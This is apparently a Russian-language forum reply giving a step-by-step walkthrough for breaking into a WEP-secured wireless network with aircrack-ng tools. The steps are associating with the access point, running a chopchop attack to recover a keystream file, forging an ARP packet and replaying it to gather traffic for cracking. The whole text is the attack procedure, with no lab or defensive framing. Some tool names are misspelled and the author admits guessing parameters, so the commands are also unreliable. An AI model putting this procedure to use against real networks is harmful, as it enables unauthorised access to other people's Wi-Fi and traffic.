я спать хочу у меня 3 часа ночи, ну ладно объясню!
ставишь
1.сначала airdump-ng с опредделёнными параметрами
2.запускай aireplay-ng -4 athX -e <SSID> -h <твой мак>
3.он начнёт снифать пакеты и спрашивать этот ли пакет надо дешифровать?
и предлогает ввести Y или N
4. ты ловишь любой пакет от этой AP и нажимаешь Y
5.если инъекция работает то всё будет OK (надо подаждать минут 5)
6.если всё прошло ok то вконце экрана высветится надписи
типа
got a replay34235.xor
got a replay23453.cap
7. тебе нужен файл с расширением .xor
8. далее нам надо на основе этих данных сделать arp пакет
который будем пересылать.
9.запускаем утилиту (точно параметры не помню) paccketforge-ng -0 -l 255.255.255.255 -k 255.255.255.255 -a mac AP -y <сюда пихаем файл с расширением .xor в нашем случае replay34235.xor> -w arp
9.почти готово.теперь запускаем aireplay-ng -2 -r arp -h <твой мак> -e <SSID>
10.снифай и крэкай!

и незабудь в самом начале ассоциироваться с AP а то не хрина не получится! (aireplay-ng -1 0)